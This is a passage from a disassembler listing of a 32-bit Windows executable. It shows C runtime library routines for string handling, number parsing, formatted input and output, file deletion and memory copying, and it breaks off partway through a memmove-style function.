var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C245: ; CODE XREF: sub_41C22D+46j
cmp dword_43F824, 1
jle short loc_41C25D
movzx eax, bl
push 8
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41C26C
; ---------------------------------------------------------------------------
loc_41C25D: ; CODE XREF: sub_41C22D+1Fj
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C26C: ; CODE XREF: sub_41C22D+2Ej
test eax, eax
jz short loc_41C275
mov bl, [esi]
inc esi
jmp short loc_41C245
; ---------------------------------------------------------------------------
loc_41C275: ; CODE XREF: sub_41C22D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C283
or [ebp+arg_C], 2
jmp short loc_41C288
; ---------------------------------------------------------------------------
loc_41C283: ; CODE XREF: sub_41C22D+4Ej
cmp bl, 2Bh
jnz short loc_41C28E
loc_41C288: ; CODE XREF: sub_41C22D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C28E: ; CODE XREF: sub_41C22D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C425
cmp eax, 1
jz loc_41C425
cmp eax, 24h
jg loc_41C425
push 10h
test eax, eax
pop ecx
jnz short loc_41C2D6
cmp bl, 30h
jz short loc_41C2C0
mov [ebp+arg_8], 0Ah
jmp short loc_41C2F2
; ---------------------------------------------------------------------------
loc_41C2C0: ; CODE XREF: sub_41C22D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C2D3
cmp al, 58h
jz short loc_41C2D3
mov [ebp+arg_8], 8
jmp short loc_41C2F2
; ---------------------------------------------------------------------------
loc_41C2D3: ; CODE XREF: sub_41C22D+97j
; sub_41C22D+9Bj
mov [ebp+arg_8], ecx
loc_41C2D6: ; CODE XREF: sub_41C22D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C2F2
cmp bl, 30h
jnz short loc_41C2F2
mov al, [esi]
cmp al, 78h
jz short loc_41C2EA
cmp al, 58h
jnz short loc_41C2F2
loc_41C2EA: ; CODE XREF: sub_41C22D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C2F2: ; CODE XREF: sub_41C22D+91j
; sub_41C22D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C302: ; CODE XREF: sub_41C22D+16Cj
cmp dword_43F824, 1
movzx esi, bl
jle short loc_41C31A
push 4
push esi
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41C325
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C22D+DFj
mov eax, off_43F618
mov al, [eax+esi*2]
and eax, 4
loc_41C325: ; CODE XREF: sub_41C22D+EBj
test eax, eax
jz short loc_41C331
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C363
; ---------------------------------------------------------------------------
loc_41C331: ; CODE XREF: sub_41C22D+FAj
cmp dword_43F824, 1
jle short loc_41C345
push edi
push esi
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41C350
; ---------------------------------------------------------------------------
loc_41C345: ; CODE XREF: sub_41C22D+10Bj
mov eax, off_43F618
mov ax, [eax+esi*2]
and eax, edi
loc_41C350: ; CODE XREF: sub_41C22D+116j
test eax, eax
jz short loc_41C39E
movsx eax, bl
push eax
call sub_4209B3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C363: ; CODE XREF: sub_41C22D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C39E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C388
jnz short loc_41C382
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C388
loc_41C382: ; CODE XREF: sub_41C22D+147j
or [ebp+arg_C], 4
jmp short loc_41C391
; ---------------------------------------------------------------------------
loc_41C388: ; CODE XREF: sub_41C22D+145j
; sub_41C22D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C391: ; CODE XREF: sub_41C22D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C302
; ---------------------------------------------------------------------------
loc_41C39E: ; CODE XREF: sub_41C22D+125j
; sub_41C22D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C3BC
test edx, edx
jz short loc_41C3B6
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C3B6: ; CODE XREF: sub_41C22D+181j
and [ebp+var_8], 0
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C3BC: ; CODE XREF: sub_41C22D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C3E2
test cl, 1
jnz short loc_41C409
and ecx, 2
jz short loc_41C3D9
cmp [ebp+var_8], 80000000h
ja short loc_41C3E2
loc_41C3D9: ; CODE XREF: sub_41C22D+1A1j
test ecx, ecx
jnz short loc_41C409
cmp [ebp+var_8], eax
jbe short loc_41C409
loc_41C3E2: ; CODE XREF: sub_41C22D+197j
; sub_41C22D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DE5C4, 22h
jz short loc_41C3F8
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C409
; ---------------------------------------------------------------------------
loc_41C3F8: ; CODE XREF: sub_41C22D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C409: ; CODE XREF: sub_41C22D+18Dj
; sub_41C22D+19Cj ...
test edx, edx
jz short loc_41C412
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C412: ; CODE XREF: sub_41C22D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C420
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C420: ; CODE XREF: sub_41C22D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C430
; ---------------------------------------------------------------------------
loc_41C425: ; CODE XREF: sub_41C22D+66j
; sub_41C22D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C42E
mov [eax], edi
loc_41C42E: ; CODE XREF: sub_41C22D+1FDj
xor eax, eax
loc_41C430: ; CODE XREF: sub_41C22D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C22D endp
; =============== S U B R O U T I N E =======================================
sub_41C435 proc near ; CODE XREF: sub_401AA1+60B4p
; sub_401AA1+68E0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C22D
add esp, 10h
retn
sub_41C435 endp
; =============== S U B R O U T I N E =======================================
sub_41C44C proc near ; CODE XREF: sub_401AA1+5871p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_428088 ; DeleteFileA
test eax, eax
jnz short loc_41C462
call dword_428094 ; RtlGetLastWin32Error
jmp short loc_41C464
; ---------------------------------------------------------------------------
loc_41C462: ; CODE XREF: sub_41C44C+Cj
xor eax, eax
loc_41C464: ; CODE XREF: sub_41C44C+14j
test eax, eax
jz short loc_41C473
push eax
call sub_420A7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C473: ; CODE XREF: sub_41C44C+1Aj
xor eax, eax
retn
sub_41C44C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C476 proc near ; CODE XREF: sub_401AA1+57DFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420AE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FD3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420B73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C476 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4B0 proc near ; CODE XREF: sub_401AA1+1DD5p
; sub_401AA1+1DF4p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C4D1
xor eax, eax
jmp short loc_41C4D3
; ---------------------------------------------------------------------------
loc_41C4D1: ; CODE XREF: sub_41C4B0+1Bj
mov eax, edi
loc_41C4D3: ; CODE XREF: sub_41C4B0+1Fj
cld
pop edi
leave
retn
sub_41C4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4E0 proc near ; CODE XREF: sub_401AA1+818p
; sub_41E32A+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C511
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C50F
jz short loc_41C511
dec ecx
dec ecx
loc_41C50F: ; CODE XREF: sub_41C4E0+29j
not ecx
loc_41C511: ; CODE XREF: sub_41C4E0+9j
; sub_41C4E0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C520 proc near ; CODE XREF: sub_401AA1+40Ep
; sub_401AA1+2FD2p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C591
sub_41C520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C530 proc near ; CODE XREF: sub_401AA1+417p
; sub_401AA1+73C9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C54C
loc_41C53D: ; CODE XREF: sub_41C530+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C57F
test ecx, 3
jnz short loc_41C53D
loc_41C54C: ; CODE XREF: sub_41C530+Bj
; sub_41C530+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C54C
mov eax, [ecx-4]
test al, al
jz short loc_41C58E
test ah, ah
jz short loc_41C589
test eax, 0FF0000h
jz short loc_41C584
test eax, 0FF000000h
jz short loc_41C57F
jmp short loc_41C54C
; ---------------------------------------------------------------------------
loc_41C57F: ; CODE XREF: sub_41C530+12j
; sub_41C530+4Bj
lea edi, [ecx-1]
jmp short loc_41C591
; ---------------------------------------------------------------------------
loc_41C584: ; CODE XREF: sub_41C530+44j
lea edi, [ecx-2]
jmp short loc_41C591
; ---------------------------------------------------------------------------
loc_41C589: ; CODE XREF: sub_41C530+3Dj
lea edi, [ecx-3]
jmp short loc_41C591
; ---------------------------------------------------------------------------
loc_41C58E: ; CODE XREF: sub_41C530+39j
lea edi, [ecx-4]
loc_41C591: ; CODE XREF: sub_41C520+5j
; sub_41C530+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C5B6
loc_41C59D: ; CODE XREF: sub_41C530+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C608
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C59D
jmp short loc_41C5B6
; ---------------------------------------------------------------------------
loc_41C5B1: ; CODE XREF: sub_41C530+9Ej
; sub_41C530+B8j
mov [edi], edx
add edi, 4
loc_41C5B6: ; CODE XREF: sub_41C530+6Bj
; sub_41C530+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C5B1
test dl, dl
jz short loc_41C608
test dh, dh
jz short loc_41C5FF
test edx, 0FF0000h
jz short loc_41C5F2
test edx, 0FF000000h
jz short loc_41C5EA
jmp short loc_41C5B1
; ---------------------------------------------------------------------------
loc_41C5EA: ; CODE XREF: sub_41C530+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C5F2: ; CODE XREF: sub_41C530+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C5FF: ; CODE XREF: sub_41C530+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C608: ; CODE XREF: sub_41C530+72j
; sub_41C530+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C530 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C620
loc_41C610: ; CODE XREF: sub_41C620+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C620
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C620 proc near ; CODE XREF: sub_401AA1+3F3p
; sub_401AA1+490p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C610 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C626: ; CODE XREF: sub_41BF70+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C64B
loc_41C638: ; CODE XREF: sub_41C620+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C610
test cl, cl
jz short loc_41C694
test edx, 3
jnz short loc_41C638
loc_41C64B: ; CODE XREF: sub_41C620+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C656: ; CODE XREF: sub_41C620+61j
; sub_41C620+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C698
and eax, 81010100h
jz short loc_41C656
and eax, 1010100h
jnz short loc_41C692
and esi, 80000000h
jnz short loc_41C656
loc_41C692: ; CODE XREF: sub_41C620+68j
; sub_41C620+81j ...
pop esi
pop edi
loc_41C694: ; CODE XREF: sub_41C620+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C698: ; CODE XREF: sub_41C620+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C6D5
test al, al
jz short loc_41C692
cmp ah, bl
jz short loc_41C6CE
test ah, ah
jz short loc_41C692
shr eax, 10h
cmp al, bl
jz short loc_41C6C7
test al, al
jz short loc_41C692
cmp ah, bl
jz short loc_41C6C0
test ah, ah
jz short loc_41C692
jmp short loc_41C656
; ---------------------------------------------------------------------------
loc_41C6C0: ; CODE XREF: sub_41C620+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C6C7: ; CODE XREF: sub_41C620+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C6CE: ; CODE XREF: sub_41C620+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C6D5: ; CODE XREF: sub_41C620+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C6E0 proc near ; CODE XREF: sub_401AA1+1A0p
; sub_401AA1+1F7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C72C
loc_41C6F0: ; CODE XREF: sub_41C6E0+3Cj
; sub_41C6E0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C724
or al, al
jz short loc_41C720
cmp ah, [ecx+1]
jnz short loc_41C724
or ah, ah
jz short loc_41C720
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C724
or al, al
jz short loc_41C720
cmp ah, [ecx+3]
jnz short loc_41C724
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C6F0
mov edi, edi
loc_41C720: ; CODE XREF: sub_41C6E0+18j
; sub_41C6E0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C724: ; CODE XREF: sub_41C6E0+14j
; sub_41C6E0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C72C: ; CODE XREF: sub_41C6E0+Ej
test edx, 1
jz short loc_41C748
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C724
inc ecx
or al, al
jz short loc_41C720
test edx, 2
jz short loc_41C6F0
loc_41C748: ; CODE XREF: sub_41C6E0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C724
or al, al
jz short loc_41C720
cmp ah, [ecx+1]
jnz short loc_41C724
or ah, ah
jz short loc_41C720
add ecx, 2
jmp short loc_41C6F0
sub_41C6E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C764 proc near ; CODE XREF: sub_401AA1+B5p
; sub_401AA1+C8p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C77D: ; CODE XREF: sub_41C764+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C77D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C7A5
mov edx, dword_4DE610
loc_41C7A5: ; CODE XREF: sub_41C764+39j
; sub_41C764+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C7C5
test al, al
jz short loc_41C7C5
inc edx
jmp short loc_41C7A5
; ---------------------------------------------------------------------------
loc_41C7C5: ; CODE XREF: sub_41C764+58j
; sub_41C764+5Cj
mov ebx, edx
loc_41C7C7: ; CODE XREF: sub_41C764+81j
mov al, [edx]
test al, al
jz short loc_41C7EB
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C7E7
inc edx
jmp short loc_41C7C7
; ---------------------------------------------------------------------------
loc_41C7E7: ; CODE XREF: sub_41C764+7Ej
and byte ptr [edx], 0
inc edx
loc_41C7EB: ; CODE XREF: sub_41C764+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DE610, edx
and eax, ebx
pop ebx
leave
retn
sub_41C764 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C800 proc near ; CODE XREF: sub_4096FD+1Cp
; sub_415FB9+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FD3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C83E
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C84B
; ---------------------------------------------------------------------------
loc_41C83E: ; CODE XREF: sub_41C800+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FC2A
pop ecx
pop ecx
loc_41C84B: ; CODE XREF: sub_41C800+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C800 endp
; =============== S U B R O U T I N E =======================================
sub_41C850 proc near ; CODE XREF: sub_40AC83+82p
; sub_40B790+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C904
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C87A
loc_41C86B: ; CODE XREF: sub_41C850+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C8AB
test edi, 3
jnz short loc_41C86B
loc_41C87A: ; CODE XREF: sub_41C850+19j
; sub_41C850+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C87A
mov eax, [edi-4]
test al, al
jz short loc_41C8B8
test ah, ah
jz short loc_41C8B3
test eax, 0FF0000h
jz short loc_41C8AE
test eax, 0FF000000h
jnz short loc_41C87A
loc_41C8AB: ; CODE XREF: sub_41C850+20j
dec edi
jmp short loc_41C8BB
; ---------------------------------------------------------------------------
loc_41C8AE: ; CODE XREF: sub_41C850+52j
sub edi, 2
jmp short loc_41C8BB
; ---------------------------------------------------------------------------
loc_41C8B3: ; CODE XREF: sub_41C850+4Bj
sub edi, 3
jmp short loc_41C8BB
; ---------------------------------------------------------------------------
loc_41C8B8: ; CODE XREF: sub_41C850+47j
sub edi, 4
loc_41C8BB: ; CODE XREF: sub_41C850+5Cj
; sub_41C850+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C8D0
mov ebx, ecx
shr ecx, 2
jnz short loc_41C91C
jmp short loc_41C8EC
; ---------------------------------------------------------------------------
loc_41C8D0: ; CODE XREF: sub_41C850+75j
; sub_41C850+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C90A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C900
test esi, 3
jnz short loc_41C8D0
mov ebx, ecx
shr ecx, 2
jnz short loc_41C91C
loc_41C8EC: ; CODE XREF: sub_41C850+7Ej
; sub_41C850+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C900
loc_41C8F3: ; CODE XREF: sub_41C850+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C902
dec ecx
jnz short loc_41C8F3
loc_41C900: ; CODE XREF: sub_41C850+8Bj
; sub_41C850+A1j
mov [edi], cl
loc_41C902: ; CODE XREF: sub_41C850+ABj
pop ebx
pop esi
loc_41C904: ; CODE XREF: sub_41C850+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C90A: ; CODE XREF: sub_41C850+85j
; sub_41C850+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C914: ; CODE XREF: sub_41C850+E4j
; sub_41C850+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C8EC
loc_41C91C: ; CODE XREF: sub_41C850+7Cj
; sub_41C850+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C914
test dl, dl
jz short loc_41C90A
test dh, dh
jz short loc_41C968
test edx, 0FF0000h
jz short loc_41C958
test edx, 0FF000000h
jnz short loc_41C914
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C958: ; CODE XREF: sub_41C850+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C968: ; CODE XREF: sub_41C850+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C850 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C973 proc near ; CODE XREF: .XPack0:0040AF02p
; sub_40C138+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B650
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420BB0
add esp, 10h
leave
retn
sub_41C973 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9B0 proc far ; CODE XREF: sub_40AFDC+62p
; sub_40AFDC+6Fp ...
arg_FFFFFFFC = dword ptr 8
arg_0 = dword ptr 0Ch
arg_4 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov edi, [ebp+arg_FFFFFFFC]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C9D0
cmp edi, eax
jb loc_41CB48
loc_41C9D0: ; CODE XREF: sub_41C9B0+16j
test edi, 3
jnz short loc_41C9EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
loc_41C9EC: ; CODE XREF: sub_41C9B0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CA04
and eax, 3
add ecx, eax
jmp dword ptr loc_41CA0C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CA04: ; CODE XREF: sub_41C9B0+46j
jmp dword ptr loc_41CB08[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CA0C: ; CODE XREF: sub_41C9B0+31j
; sub_41C9B0+8Ej ...
jmp off_41CA8C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CA20
dd offset loc_41CA4C
dd offset loc_41CA70
; ---------------------------------------------------------------------------
loc_41CA20: ; DATA XREF: sub_41C9B0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CA4C: ; DATA XREF: sub_41C9B0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CA70: ; DATA XREF: sub_41C9B0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CA0C
rep movsd
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CA8C dd offset loc_41CAEF ; DATA XREF: sub_41C9B0:loc_41CA0Cr
dd offset loc_41CADC
dd offset loc_41CAD4
dd offset loc_41CACC
dd offset loc_41CAC4
dd offset loc_41CABC
dd offset loc_41CAB4
dd offset loc_41CAAC
; ---------------------------------------------------------------------------
loc_41CAAC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CAB4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CABC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CAC4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CACC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CAD4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
